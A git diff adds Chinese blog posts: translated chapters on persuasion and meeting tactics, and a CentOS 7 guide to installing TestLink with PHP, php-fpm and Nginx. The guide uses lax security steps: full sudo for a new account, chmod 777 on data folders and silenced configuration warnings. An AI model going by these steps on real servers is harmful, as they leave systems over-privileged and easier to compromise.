Jr.）和同事们所做的一项实验：他们给一群医生开了两个治疗录像。看录像时，医生被分成了小组，但他们不知道的是，每个小组看到的录像都有一点儿差异。此外，有些医生得到了两个患者的个人信息。结果就是所有的医生都了解这两位患者的部分信息，但没有一位医生掌握全貌。 + +看完录像之后，医生们需要跟另一个小组讨论病例，商量出一个诊疗方案。研究者对实验的设定很聪明:只有当所有医生把自己知道的信息分享出来的时候，才能做出最准确的诊断和治疗方案。然而研究者发现，信息共享程度极少能达到准确诊断的要求。因此，不那么理想的决策就导致没那么好的治疗方案。简言之，结果不好。 + +那么我们能采取什么措施来确保人们毫无保留地共享信息，高效地进行沟通呢？以下就是个“四两拨千斤”的开会方法，在工作和生活中都适用。 + +第一，请参加会议的人在会议开始前提交信息。这或许听起来有点儿太简单，可极少有人真的付诸实践。这样做之后，大家提交的看法和意见就不大可能受到他人影响。这个方法对于那种希望得到创新想法的会议尤其管用。请大家事先提交想法，往往能让更多人的意见得到倾听，于是就能收集到更多新创想。培训课程和家庭会议也能使用类似的方法。例如，如果你面临一个问题或一项挑战，需要每个组员都贡献智慧，那么，与其让每个人都同时说出想法和建议，更高效的做法是请大家花几分钟静静的想一想自己的主意，然后写下来，提交给全组，这样做能让那些比较安静的小组成员也能畅所欲言，免得他们的声音被大嗓门的组员淹没。除了一小段静悄悄的时刻之外，这个方法的成本几乎为零。 + +第二，组织会议的人最后发言。组织会议的人往往不知道自己的意见会影响大家，这个问题之普遍简直令人吃惊。如果一个领导者、经理或家长先把看法说了出来，小组成员往往会下意识的听从，其他的想法和意见就没有机会产生了。避免这种潜在的不良影响的方法是方式之一，就是让领导者心听完大家的看法，然后再表达自己的意见。 + +第三，做个任务清单会很有用。医生们确保自己做出准确诊断并采取正确措施的强调常用方法之一就是列一个简单的清单。就像阿图·葛文德（Atul Gawande），在他的著作《清单革命》（The Checklist Manifesto）中所说的，这些清单中包括一些简单的令人吃惊、可万一漏掉了就会要人命的条目。患者的名字跟真人对得上吗？我有他的病历吗？他对什么东西过敏吗？我知道他的血型吗？ + +就像飞行员在登机前会列一张清单，会议的组织者也需要仔细想想，准备清单上该有哪些必不可少的条目。参会的人选恰当吗？大家的经验是否平衡得当？有没有那种你积极正面的方式提出反对意见的角色？ + +第四，朱丽叶·朱（），和J.J.阿戈（J.J.Argo）近期的研究指出，对会议的座次安排作出微妙的调整，就能够影响人们的注意力重点。例如，他们的研究发现，圆桌式的座位能够唤起人们的归属感。因此，参会者更容易重视小组的整体目标，也容易被强调全族利益的信息（而不是个别人的利益）和提议说服。相反，当做是安排呈现出带角的形状（比如L形）或方形的时候，效果刚好相反。这种座次安排激发了人们对独特性的追求。因此，人们更容易响应那些以自我为中心的信息和提议，容易表现出个人主义。 + +研究人员总结说，如果会议目的是创造合作互助的气氛，那么圆桌式的排位更有利。因此，如果一个团队领导者想要说服员工齐心协力行动起来，那么他们最好把大家的座位摆成圆桌式的。如果员工中有平素不大合群的人，这样做就愈发重要。 + +然而，如果团队领导者希望让团队成员为自己的行动负起责任，那么正方形或长方形的桌型会更好。 + +当然，某些会议既需要合作也需要个人采取行动。因此，你或许需要在进程中调整桌型。例如，一名会议组织者发现，会议初期需要大家团结合作，那么他就把这段时期的桌位摆成圆桌式的，等到了会议的重点转变成需要个人关注的议题时，如果必要的话，他就可以做出小小的调整，把座位摆成方形的。会议组织者可以采用的另一个小调整是，开会之前就把座位分配好，而不是让大家自行找座位（要知道，物以类聚，人以群分）。任何一个婚礼策划人都会告诉你，当人们看到写着自己姓名的桌卡时，就会乖乖的坐下。 diff --git a/_posts/2016-12-13-145-the-small-big-22.md b/_posts/2016-12-13-145-the-small-big-22.md new file mode 100644 index 0000000..a32c016 --- /dev/null +++ b/_posts/2016-12-13-145-the-small-big-22.md @@ -0,0 +1,27 @@ +--- +layout: post +title: 22 服装的影响力 +pid: 145 +tags: [细节如何轻松影响他人] +--- +你付出了数周（甚至是数月）的努力和耐心，一切终于有了回报。你的手机响了。正是那位重要的新客户的私人助理打来的，你一直想把这位客户签下来，要是能成，这可是一笔利润丰厚的大生意。助理打来电话，是想跟你确认一下下周会面的时间。你允许自己激动了一小会儿，随即就开始为这次见面做准备。这种见面可不能掉以轻心，要想给这位客户留下深刻印象，这是你仅有的机会。你希望展现出值得信赖的风范，让客户感觉到你是个友好、招人喜欢、亲切、有影响力的人。 + +那么，你应该穿什么呢？ + +多年来，说服科学家们一直在研究衣着与影响力的关系。社会心理学家伦纳德·比克曼（）就是以研究“整洁衣着的强大影响力”而著称的。在他的实验中，研究人员拦住路人，请他们依从某种请求，有时候是要求路人拾起一片垃圾，或者站到公交站车站旁的某个特定地点，甚至是（这是我们最喜爱的一个）要求路人掏出几个硬币，帮另一个素不相识的人付停车费。 + +比克曼每次更换实验条件时，改变的不是提出要求的研究人员，而是他身上穿的衣服。有时他穿身穿休闲服，有时穿的是制服，比如保安人员的工作服。非常说明问题的是，在研究开始前进行的调研中，绝大多数参与者都极大程度地低估了身穿制服的人的影响力。当然，如果于此完全不同：当提出要求的人穿的是保安制服时，愿意服从的人数往往达到了预估数字的两倍。 + +近期的其他研究也发现了类似的现象。例如，一项英国学者的研究证明，当专业医生带着听诊器讲述健康知识的时候，受试者明显更容易记住他的话。有趣的是，医师并没有使用听诊器。它不但是一个帮助医生诊断病症的有效工具，还能向患者有效传达出一声那值得信赖、专业知识丰富的形象。 + +研究表明，一身笔挺的西装也具备同样的说服力。一项实验中，当一个身穿西装的男子闯红灯过马路时，跟他违反交通规则的路人数目比他身穿休闲服时高出350%。 + +有一个十分有趣的点需要指出，在这些研究和其他相似的实验中，衣着成为首要的影响因素，是出于一个极为简单的原因：除了衣着，实验对象没有其他的途径去了解那个提出要求人的资历。此处的启示很明显。当你第一次跟某人见面时，你的衣着应当符合你的真实的能力水平与可信度，这非常重要。这完全符合说服科学中的一项基本原理：权威原理。当人们感觉到某人好像具备更渊博的知识、更值得信赖时——尤其是当他们迟疑不定的时候——权威原理就会发挥作用，让他们听从此人的建议与忠告。 + +可是，当今的商业会谈极少如此直白。从商务正装到彻底休闲，再加上中间的无数种过渡情况，衣着背后隐藏的密码是复杂多样的。或许，更高效的穿衣之道是遵从另一个强有力的决策原理：相似性。 + +在前面的章节中我们讲到，有效说服的方法之一就是突出你与受众之间的共同点（真实存在的）。要说强调相似性、把差异降低降至最低，还有什么方法比事先找出对方的衣着风格并在会面当天据此搭配衣饰更好的呢？但是，这种方法也不是没有缺点。万一对方的穿衣风格跟你的习惯不一样呢？如果穿成跟他们差不多的样子，能否表现出你的真正个性？就算这些都没问题，相思情为你带来的好处会不会影响到你的权威性和可信度，反而弄巧成拙？ + +简单点说，权威感和相似性，究竟哪个更有说服力？这个问题有明确的答案吗？ + +不幸的是，我们还不知道有哪个研究能够直接回答这个问题。然而，就像说服领域中的不少问题一样，我们的建议是，比较有效的方法是把这两点综合运用起来。也就是说，如果场合与时机合适，你可以采取与对方相似的穿衣风格——但要往上升一个级别。比如说，如果你要去的去一个大家都穿的比较休闲的办公室，你就可以打上领带，或是穿件西装。 diff --git a/_posts/2016-12-13-146-centos-testlink.md b/_posts/2016-12-13-146-centos-testlink.md new file mode 100644 index 0000000..87e3ed3 --- /dev/null +++ b/_posts/2016-12-13-146-centos-testlink.md @@ -0,0 +1,176 @@ +--- +layout: post +title: Centos中安装Testlink +pid: 145 +tags: [centos, 软件开发] +--- + +因为Testlink用到了PHP和MySql,但是在配置wecenter的时候，我已经安装了这2个，所以，这里我就不需要重复安装，具体步骤自己找，本文只是描述在CentOS 7上面安装testlink相关操作步骤。 + +自己动手，方能丰衣足食。 + +记住这个东西要先安装一下版本[testlink_1.7.5.tar.gz] + +# TestLink 下载地址 + +[TestLink testlink-1.9.15.tar.gz](https://sourceforge.net/projects/testlink) + + +# Update PHP Version + +## 安装PHP和php-fpm组件： + [root@localhost ~]# php -v + [root@localhost ~]# yum list installed | grep php + [root@localhost ~]# yum remove xxxxx + [root@localhost ~]# yum -y update + [root@localhost ~]# yum -y install epel-release + [root@localhost ~]# wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm + [root@localhost ~]# wget https://centos7.iuscommunity.org/ius-release.rpm + [root@localhost ~]# rpm -Uvh ius-release*.rpm + [root@localhost ~]# yum -y update + [root@localhost ~]# yum -y install php56u php56u-opcache php56u-xml php56u-mcrypt php56u-gd php56u-devel php56u-mysql php56u-intl php56u-mbstring php56u-bcmath + [root@localhost ~]# yum list installed | grep php + [root@localhost ~]# yum install php56u-fpm + [root@localhost ~]# php -v + [root@localhost ~]# php-fpm -v + [root@localhost ~]# vim /etc/php.ini + cgi.fix_pathinfo=0 + + [root@localhost ~]# vim /etc/php-fpm.d/www.conf + ; Note: This value is mandatory. + ;listen = 127.0.0.1:9000 + listen=/var/run/php-fpm/php-fpm.sock + + ; Unix user/group of processes + ; Note: The user is mandatory. If the group is not set, the default user's group + ; will be used. + ;user = php-fpm + user = nginx + ;group = php-fpm + group = nginx + + [root@localhost ~]# sudo systemctl start php-fpm + [root@localhost ~]# sudo systemctl enable php-fpm.service + + + + +# 安装配置Testlink应用程序 + + [root@localhost ~]# adduser testlink + [root@localhost ~]# passwd testlink + [root@localhost ~]# visudo + ## + ## Allow root to run any commands anywhere + root ALL=(ALL) ALL + wwwroot ALL=(ALL) ALL + testlink ALL=(ALL) ALL + + + copy file from mylocal to /usr/local/src/ + + [root@localhost ~]# su testlink + [testlink@localhost ~]$ cd /usr/local/src/ + [testlink@localhost src]$ sudo tar zxvf testlink-1.9.15.tar.gz + [testlink@localhost src]$ sudo mv testlink-1.9.15/* /home/testlink/ + [testlink@localhost src]$ cd ~ + [testlink@localhost ~]$ sudo chmod -R 755 /home/testlink/gui/templates_c + [testlink@localhost ~]$ sudo chown -R nginx:nginx /home/testlink/gui/templates_c + [testlink@localhost ~]$ sudo mkdir /var/testlink + [testlink@localhost ~]$ sudo mkdir /var/testlink/logs + [testlink@localhost ~]$ sudo mkdir /var/testlink/upload_area + [testlink@localhost ~]$ sudo chmod -R 777 /var/testlink + [testlink@localhost ~]$ sudo chown -R nginx:nginx /home/testlink + [testlink@localhost ~]# vim /home/testlink/config.inc.php + + $tlCfg->config_check_warning_mode = 'SILENT'; + + + +# 配置Nginx + server { + + # 监听端口，默认就是80 + listen 8002; + + + # 网站域名 + server_name www.testlink.com; + + # 网站根目录(我是改成了/home/wwwroot) + root /home/testlink; + #root /usr/share/nginx/html; + index index.php index.html index.htm; + + location / { + try_files $uri $uri/ /index.php; #开启伪静态 + } + + # 错误页配置 + error_page 404 /404.html; + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } + + # php-fpm配置，即对于php后缀的，都是用php-fpm处理 + location ~ \.php$ { + try_files $uri =404; + fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; + #fastcgi_pass 127.0.0.1:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + include fastcgi_params; + } + + } + + + +# 配置邮箱 + + [root@localhost ~]# vim /home/testlink/config.inc.php + + /** + * @var string SMTP server name or IP address ("localhost" should work in the most cases) + * Configure using custom_config.inc.php + * @uses lib/functions/email_api.php + */ + $g_smtp_host = 'mail.163.com.cn'; # SMTP server MUST BE configured + + # Configure using custom_config.inc.php + $g_tl_admin_email = 'baoguo.ding@foxmail.com'; # for problem/error notification + $g_from_email = 'baoguo.ding@foxmail.com'; # email sender + $g_return_path_email = 'baoguo.ding@foxmail.com'; + + /** + * Email notification priority (low by default) + * Urgent = 1, Not Urgent = 5, Disable = 0 + **/ + $g_mail_priority = 5; + + /** + * Taken from mantis for phpmailer config + * select the method to mail by: + * PHPMAILER_METHOD_MAIL - mail() + * PHPMAILER_METHOD_SENDMAIL - sendmail + * PHPMAILER_METHOD_SMTP - SMTP + */ + $g_phpMailer_method = PHPMAILER_METHOD_SMTP; + + /** Configure only if SMTP server requires authentication */ + $g_smtp_username = 'baoguo.ding@foxmail.com'; # user + $g_smtp_password = '*********'; # password + + + + + +# 参考资料 +1. [PHP 5.5 5.6, or 7.0—CentOS](http://devdocs.magento.com/guides/v2.0/install-gde/prereq/php-centos.html#instgde-prereq-php56-install-centos) +2. [HOW TO INSTALL PHP 5.6 ON CENTOS 7 WITH PHP-FPM NGINX AND MARIADB WITH VSFTPD](https://www.xshellz.com/community/tutorials/47975/How-to-install-php-5.6-on-CentOS-7-with-php-fpm-nginx-and-mariadb-with-vsftpd) +3. [TestLinkとは](http://qiita.com/shoooo/items/01682a255448c2b4ecd3) +4. [Centos下Yum安装PHP5.5,5.6,7.0](http://www.blogjava.net/nkjava/archive/2015/01/20/422289.html) +5. [TestLink学习二：Windows搭建TestLink环境](http://www.cnblogs.com/yangxia-test/p/4414840.html) +6. [TestLink学习三：发送邮件的两种配置方法](http://www.cnblogs.com/yangxia-test/p/4453042.html) + diff --git a/_posts/2016-12-14-147-the-small-big-23.md b/_posts/2016-12-14-147-the-small-big-23.md new file mode 100644 index 0000000..c74c81b --- /dev/null +++ b/_posts/2016-12-14-147-the-small-big-23.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 23 亮出专家身份 +pid: 147 +tags: [细节如何轻松影响他人] +--- +一般来说，沟通者的目标是构建并发送一条信息，来改变受众的态度、决定或行为。当然，核心问题就是如何构建这套信息。 + +多年来，虽然社会心理学家们对这个问题提出了许多重要的见解，但最有价值的一个是安东尼·格林沃尔德（Anthony Greenwald）的“认知反应模型”（cognitive response model），它表明人们对说服的看法出现了微妙却极其重要的变化。根据格林沃尔德的模型，一场沟通能让受众并改变多少，并不在于沟通的内容，而在于受众在接收到沟通信息之后，对他（她）自己说了些什么。 + +应该会沟通信息做出哪些调整，才能最大限度地增强它的说服能力呢？研究这个课题的时候，研究人员一般都把重点放在信息是否清晰、有逻辑、结构化等等方面，因为人们都认为，受众对信息内容的理解是说服的关键因素。虽然这肯定是对的，但认知反应模型添加了一条重要的见解，这个模型指出，信息本身并不是导致行为改变的直接原因。直接原因是另一个因素作用的结果：自我对话。也就是人们在接受一条信息之后，心里产生的认知反应。说得简单点儿，就是某人在接受信息之后对自己说了什么。 + +有相当多研究成果都支持这个模型。例如，在安东尼·格林沃尔德的说服实验中，受众对某个议题的态度变化与他们能记起的说服内容没太大关系，却与当时他们作出的评论颇为相关。 + +那么，这种观点对你的说服行为有何帮助呢？假设你想写一封信，倡议当地的居民支持一项降低高速公路最高限速的规定。上述研究最直接的建议就是，如果你没有考虑受众在看到这封信之后会对他们自己说些什么，就那就不大明智了。 + +那么你可以采取哪些小小的措施，来最大限度地提升沟通的效果？首先，你应该想办法让这封信的每个方面都能唤起读者内心的积极对话。也就是说，除了琢磨信息本身的关键因素之外（例如论证的力度和逻辑性），你还应该考虑另歪一套截然不同的、可能会激发积极反应的因素。例如，你可以等到当地的报纸报道了一起鲁莽的高速事故之后再寄出这封倡议信。这样一来，由于大家收到信的时机非常合适，它所传达的讯息就会显得更有力度。或者，你可以用高质量的信纸，非常专业地把这封信打印出来，因为人们会下意识地认为，一个沟通者在说服行动上花的心思和费用越多，就越是重视它。 + +你的沟通信息需要激发出积极的内心对话，但是，比这一点更重要的，是另一个虽然微小却非常关键的做法：如何避免消极的内心对话——尤其是对你的论点的反驳。 + +说服科学的研究者们经常指出，受众对于一条信息的反驳会严重削弱它的有效性。因此，你或许可以在倡议信中引用一位著名的交通安全专家的话，指出较高的限速会显著提升交通事故的致命程度。 + +简·恩格尔曼（）、莫妮卡·卡普拉（），查尔斯·诺萨（）和格雷戈里·伯恩（）近期做的脑部成像研究告诉我们，为什么这个方法会起作用。研究人员要求受试者做出一系列他们并不熟悉的财务选择，其中有些附带有专家建议（一位著名的经济学家）。但专家建议出现的时候，受试者的选择就会受到明显影响。他们的大脑活动模式揭示了原因。每当专家建议出现的时候，受试者大脑中负责批判性思考和反驳的区域就平静下来，变得不活跃了。 + +这些发现有助于解释，为什么专家的话总是那么管用。这并不是因为人们会把权威人物的话当做一个普通的重要因素，然后与其他因素结合起来考虑，最后作出选择。相反，人们会允许权威的意见统领余下的所有因素（尤其是对自己不太确信的时候）。实际上，人们甚至把认知的渠道都关闭了，根本就不会考虑其他因素。该研究的作者之一这样描述他的发现是如何挑战人们对理性决策过程的传统看法的:“在传统看法中，人们听取建议，然后把它跟自己掌握的信息结合起来，最终做出决策。如果过程真的是这样，那我们就应该能看到负责决策的脑区有活动。当我们的发现是，当某人接受了专家建议之后，那个脑区的活动就停止了。” + +这些研究给予我们两点启发，沟通者在构思信息时应该兼顾。首先，由于人们经常看到专家建议之后就不再进行批判性思考，反驳的力度也降低了，所以，如果有相关的专家意见可以使用，那就把他们早早摆出来，要是不这样做的话，可就有点儿傻了。另外，如果目标受众与你团队的其他成员也有交流，那你一定要好好选出这些成员的专业性。虽然这个做法很简单，但有多少原本十分精明的沟通者在影响他人时，都忘了强调自己和同事的专业性啊。 + +但是当他们记得这样做的时候，效果往往好得惊人。 + +举个例子吧。许多医疗中心都面临一个问题：患者太多，可医院的容量不够，没法满足他们的需求。看到这个问题，人们马上就会想到一个明显的解决办法：扩张容量不就行了吗。可是，这个方法不但成本昂，许多服务行业的机构都会告诉你，不管容量扩增多少，客户的需求都能把它填满。和全世界的许多同行们一样，英国那些新近取得行医资格的医生在毕业之后，会到各种医院和医疗中心里实习轮岗。这种轮岗制显著提高了医疗机构的服务容量，可患者往往不愿意找这些资历尚浅的医生问诊，他们更愿意等着见住院医师。可问题就在这儿。鉴于这些新医生刚从国内最顶尖的医学院毕业不久，他们掌握的技能和知识是最新、最前沿的，找他们看病才是最好的选择——这是很有道理的。在医疗系统中，需求明确很多，可往往有很多资源没有得到充分利用。为了恢复均衡，不少医疗中心采取了这样的实验做法：重点强调这些新医生的专业资质和前沿知识，往往还在一旁附上他们的照片。前台的接待员也要发挥作用，他们改掉了常见的答复，比如“我可以为你安排一位实习医生”（在医院里，“实习医生”这个词给人的印象就跟“代课老师”差不多），代之以凸显新医生专业性的说法，我可以为你安排一位水准很高的新医生，刚从某某医学院过来的。”使用了这些不起眼儿、而成本相对低廉的做法之后，供需状况出现了戏剧性改变。有些医院的等候时间减少了，往往能缩短50%之多，而这不是由于大规模的系统改革，只是因为一个小小的做法调整。 + +除了向受众强调你和团队成员的专业程度之外，还有一点同样重要：如实的说出你的背景、经历和技能，不要夸大。你要用这种方式来保护自己的专业性。也就是说，如果我们夸大了自己的本事，却被对方发现，那么我们的专业技能就失去了说服力，就算是真的也没人肯相信了。 diff --git a/_posts/2016-12-15-148-the-small-big-24.md b/_posts/2016-12-15-148-the-small-big-24.md new file mode 100644 index 0000000..9dd5f25 --- /dev/null +++ b/_posts/2016-12-15-148-the-small-big-24.md @@ -0,0 +1,29 @@ +--- +layout: post +title: 24 不确定的说服力 +pid: 148 +tags: [细节如何轻松影响他人] +--- +上一章中我们讨论到，在沟通和或提建议之前先强调自己的专业身份，往往能够显著提升沟通效果。两千多年前，罗马诗人维吉尔（）就忠告人们，应当“相信专家”。正如简·恩格尔曼和同事们在脑部成像研究中显示的那样，这条忠告到如今依然适用。实际上，维吉尔的话变得更有道理了：每一天，无论是在工作中还是在生活中，我们都的面对泛滥的信息，必须理出个头绪来。在这种信息过量的环境中，我们希望找到快速做决策的捷径，比如听从专家意见。所以，为什么那些渊博睿智的人能对我们的决策有那么大的影响力，也就很容易理解了。 + +幸运的是，愿意帮忙的专家从来都不缺。商业世界就是个很好的例证，急着帮助组织作出正确选择的各路专家仿佛无穷无尽。生活中也是这样。财务顾问随时备战，个个都能提供最新的投资建议；亲子顾问提供最先进的育儿手段；健身教练能告诉你最时髦的、保持身材和健康生活的方法。 + +可是，此处有个十分讽刺的问题。如今这个信息泛滥的世界令我们寻求专家的帮助，希望他们能帮我们指路，可专家也照样满大街都是，每一个都说自己的建议最可取。在这个信息超量的世界里，那么多人都自称是专家，我们到底该听谁的呢？ + +或许我们应该找那种信的最自信的。毕竟从直觉上说，人们更容易被那种言之凿凿的专家说服，是不是？ + +还真不是！ + +消费者研究专家乌玛·卡玛卡（）和扎卡里·托马拉认为，最令人信服的往往不是那些听上去最自信的专家。相反，他们的研究发现，自己不太确定的专家说出来的建议和忠告往往最有说服力。当问题没有清晰明确的答案时，就更是如此。 + +在卡玛卡和托马拉的一则研究中，顾客们看到了一篇对一家名叫“比安科”的新餐馆的好评文章。一半顾客被告知，这篇评论是一个著名的美食评论家写的，他的文章定期发表在报刊杂志上。另一半顾客得知，这篇评论是一个籍籍无名的博主写的，此人绝大多数时候都在快餐店吃饭。实验结果如你所料，也符合大量的辛勤研究成果：比起以为作者是无名博主的那些顾客，认为作者是著名美食评论家的那些顾客更容易受到这篇评论的影响。但是，研究人员的实验还没做完。 + +实验的变量除了评论觉得专业资历之外，还包括语气的确定程度。例如，完全确定的语气是，“我在这家店吃了晚餐，我十分确定，这家馆子可以打四星。” + +不太确定的语气是，“因为我只在‘比安特’吃过一顿饭，所以我不敢完全确定，但目前的体验来看，我会给这家馆子，打四星。” + +与读到到高度确定专家版或无名博主版本的受试者相比，读到这个语气不太确定的专家版的受试者对这家餐馆的好感明显大得多，而且更加愿意经常光顾。无论是哪种情况，评论文章的内容一点儿没变——微调的只是专家评论者的确信程度。 + +卡玛卡和托马拉是这样解释的：由于人们一般都会预料到，专家对自己的看法肯定是非常确信的，所以，当专家流露出不太确定的感觉时，人们的注意力反而被吸引过去了。结果就是，语气中带有某种程度的不确定的专家，会引起人们的兴趣。因此，假设专家的意见还是同样有道理，这种能够吸引受众的信息反而更有说服力。 + +对于那些希望增强说服力的沟通者来说，这个见解非常有用，人们很容易认为，说话时不应该流露出一点儿犹豫和不确定，因为这样严重损害说话人的说服力。然而，在显然没有明显单一正确答案的情况下，表现出一点儿不确定非但不会伤害你的说服力，反而还有极大的帮助。因此，当商业顾问希望说服决策者的时候，与其把轻微的不确定感遮掩起来，还不如明明白白的表现出来，因为这实际上会让他或她显得更有说服力——当然了，我们假设这位顾问的话是很有道理的。而且，这么做还有另外一个好处：有助于建立信任。 diff --git a/_posts/2016-12-19-149-the-small-big-25.md b/_posts/2016-12-19-149-the-small-big-25.md new file mode 100644 index 0000000..b7715b8 --- /dev/null +++ b/_posts/2016-12-19-149-the-small-big-25.md @@ -0,0 +1,25 @@ +--- +layout: post +title: 25 中心位置的影响力 +pid: 149 +tags: [细节如何轻松影响他人] +--- +智力竞赛节目《薄弱环节》（Weakest Link）自打在电视上露面之后，就迅速的在全球范围内取得了成功，世界上有几十个国家都在播放。这个游戏节目既要拼机智，也要比知识面。赛事初期，参赛选手回答问题来累积奖金，但到了每一轮的末尾，一个选手会被投票出局，最终留下两个人竞争现金大奖。为了取胜，选手们需要制定一个清晰的策略，努力保持冷静，当然还得具备渊博的知识——任何一个希望影响他人的人，都会明白这些技能有多么重要。 + +但是，有没有哪个不那么显眼却非常重要的因素，影响了最终的赛果？ + +社会科学家普瑞亚·拉格休伯和安·瓦伦苏艾拉研究了《薄弱环节》的往期节目，他们发现，站在半圆形舞台最中间的两名选手比站在其他位置的选手更容易胜出。换句话说，在制胜因素中，不单包括策略、知识、钢铁般冷静坚定的意志力，参赛选手所站的位置也很重要。 + +研究人员发现，这个微妙却十分重要的“位置问题”不仅存在于电视游戏节目之中。他们发现的证据表明，靠近中心位置的人——比如面试小组里坐在中央位置的面试官，或是发言席中间的高级管理人员——都显得比其他人更有影响力。为什么？拉格林伯和瓦苏艾拉推断，一个重要的原因是，人们会下意识地认为，最重要的人理当坐在中间。想想婚礼派对上的新郎新娘，董事会里的CEO，还有奥运会上赢得金牌的选手，你就明白了。 + +我们不但会认为坐在中间的人比较重要，令人担忧的证据显示，由于他们处于中心位置，我们不大会注意到他们犯错。会议的组织者可要注意了，有时一个匆忙提出的议案没有受到多大质疑，很可能就是因为提出的人坐的位置——这的确可以成为“注意力的盲点”。 + +当然，如果提出议案的人是你（假设你的提议很好），那么你可以做的提升影响力的小改变就是走过去，坐到中间的位置上。如果你们是以小组形式发言的，你可以让位于中间的那个人替你说。 + +这项研究不断提醒我们为何要在会议开始前精心设计座次，它还表明，当你要推介产品和服务的时候，这方面的考虑会产生实际的收效。在一个专为测试这个假说而设计的实验中，受试者需要在三种口味的口香糖中选一个。虽然研究人员定期改变这三种口香糖的摆放位置，但放在中间的那一个总是最受欢迎，被选中的概率往往高于另外两种。研究人员把口香糖数量提高到了五个，后来把品类也换成了其他商品（它们的价格全都一样），结果还是相同：放在最中间的那一个明显更受欢迎。 + +虽然在有些人看来，这个现象很符合直觉，但我们敢打赌，真实的原因跟你的直觉相差十万八千里，为何摆在中间位置的产品最受青睐，其原因与多数人以为的刚好相反：并不是因为放在中间的东西更容易吸引人的注意力，也不是因为人们更容易记住那个位置的东西。 + +放在中间位置的产品之所以最抢手，主要是因为人们以为那个东西是被人故意放在那儿的——因为它最热门。从前面的章节中我们知道，当某个选择显然看上去比其他几个更受欢迎的时候，它的说服力就变得更大了，如果做选择的人不能确定究竟哪个选择最好，就更是如此。要注意，在这项研究中，表明中间那件东西更受欢迎的并不是具体信息，只是它在队列中的位置而已。 + +这个解释给制造真正畅销产品的厂商支了个招儿：为了确保自己的产品不会受到那些受到货架陈列潜规则的影响（有时厂商会给店经理付钱，争取更好的摆放位置），他们可以把“最畅销”或“最受欢迎”的字样直接印在外包装上，直接点明这个产品的确是热门货色，不必让货架位置成为它的“薄弱环节”。 diff --git a/_posts/2016-12-19-150-the-small-big-26.md b/_posts/2016-12-19-150-the-small-big-26.md new file mode 100644 index 0000000..701f29a --- /dev/null +++ b/_posts/2016-12-19-150-the-small-big-26.md @@ -0,0 +1,28 @@ +--- +layout: post +title: 26 如何激发创意 +pid: 150 +tags: [细节如何轻松影响他人] +--- +大量研究表明，环境和情境会对我们的行为和决策产生巨大的影响。例如，吃自助餐时，如果人们拿到的盘子比较小，吃的就会少一点儿；放账单上的托盘如果印有信用卡的商标，食客给服务生的小费就会比较多，如果投票站设在教堂旁边而不是学校旁，人们投票时就会变得更加保守。 + +在上述所有例子中，人们的决策和行为都不是出自某个直接的请求或呼吁。相反，他们受到环境中某个单一因素的影响，继而触发了自动的、下意识的行为改变。 + +除了用投票地点来影响投票选择，或是用盘子尺寸来降低卡路里的摄入（政治家和营养学家们请做笔记）之外，还有没有其他类似的方法，对环境做个小改变，就能对结果产生显著的影响？例如，在下次业务会议或谈判中，你能做些什么？ + +许多组织会召开会议来分享最佳实践经验，集思广益，鼓励创造思维。如果你曾经参加过这样的会议，你多半就会明白有许多环境因素会影响会议的成果——从参会的人数（包括他们的个性）到午间自助餐和饮品的质量。但是，有没有哪些因素能够提升团队的创意能力，鼓励他们天马行空地思考？ + +研究人员琼·迈耶斯—利维（）和朱丽叶·朱认为，天花板能起到激发作用：当天花板较高的时候，人们的想法更富有创意，更概念化，而天花板比较低的时候，人们的想法就变得更为具体，更受局限。 + +为了验证他们的想法，研究人员设计了一组实验，让受试者解开一串字谜游戏（即把一个英文单词的字母顺序打乱，重新拼出另一个新词）。一组受试者所在的房间天花板较低［8英尺（约2.4米）］，另一组的较高［10英尺（约3米）］。有些字谜的内容与自由和创意这些概念有关，比如“自由、无限、解放”这样的词语，而有些字谜则与限制的概念有关，比如“局限、边界、克制”。 + +研究者发现，在天花板较高的那个房间里，受试者做自由版字谜的速度较快，但解限制版子之谜的速度较慢。在天花板较低的房间中，情况刚好相反：受试者解开限制版之谜所用的时间比你自由版的短。后续研究也发现，比起在低天花板房间里的受试者，待在高天花板房间里的受试者更容易在抽象概念之间建立关联，而这正是创意思考的关键因素。 + +这项研究建议我们，如果你的业务会议、团队讨论会或培训项目的核心目标是创意思考，那么你可以做一个简单的小调整：找一个天花板较高的房间。这样可以提高激发创意的概率，让大家思维少受局限。 + + +然而，如果会议的目标是解决某件具体的事情或问题，不需要大家提出新概念，而是要想出具体的行动和方案，那么你就应该选一个天花板较低的房间。如果你需要大家先是进行创意思考，提出创新想法，然后再考虑具体实施方案，那你就准备两个房间。这样做虽然会贵一些，但是，如果它能帮助团队把创新思考变为具体的行动计划，那也值得。 + +可是，如果你要准备的会议是一场谈判呢？你就是说，它不是为了寻找想法，而是更关乎利润。谈判场所的环境会不会影响人们的行为，最终改变结果呢？例如，应该把谈判地点选在你自己的办公室，还是去你没那么熟悉的地方？在哪个环境中，你的说服力更强？ + +下一章里，我们就来仔细看看说服科学会给出怎样的答案。 diff --git a/_posts/2016-12-19-151-the-small-big-27.md b/_posts/2016-12-19-151-the-small-big-27.md new file mode 100644 index 0000000..fbbb230 --- /dev/null +++ b/_posts/2016-12-19-151-the-small-big-27.md @@ -0,0 +1,27 @@ +--- +layout: post +title: 27 主场还是客场 +pid: 151 +tags: [细节如何轻松影响他人] +--- +1989年，冷战结束时，在马耳他海岸边的两条船上（苏联巡洋舰Maxim Gorky和美国海军巡洋舰Belknap），美国总统乔治·布什（）和苏联最高领导人米哈伊尔·戈尔巴乔夫（）进行了会谈，这就是马耳他峰会（Malta Summit）。1995年，在美国俄亥俄州代顿（Dayton）附近的赖特—帕特森空军基地（WrightPatterson Air Force Base），波斯尼亚（Bosnia）和黑塞哥维那（Herzegovina）签订了和平条约《代顿协议》（Dayton Accord）。把谈判地点选在“中立”的地方，这个做法由来已久，可以追溯到几百年前——例如，法国拿破仑一世（）和俄国沙皇亚历山大一世（）签订的提尔西特条约（）就是在Neman River上的一个小筏子上签署的。 + +不是只有国际和平谈判才会把地点选在中立地点。进行劳资谈判的时候，工会代表为求公正，一般都更愿意在酒店会议室谈判，而不是去公司总部。 + 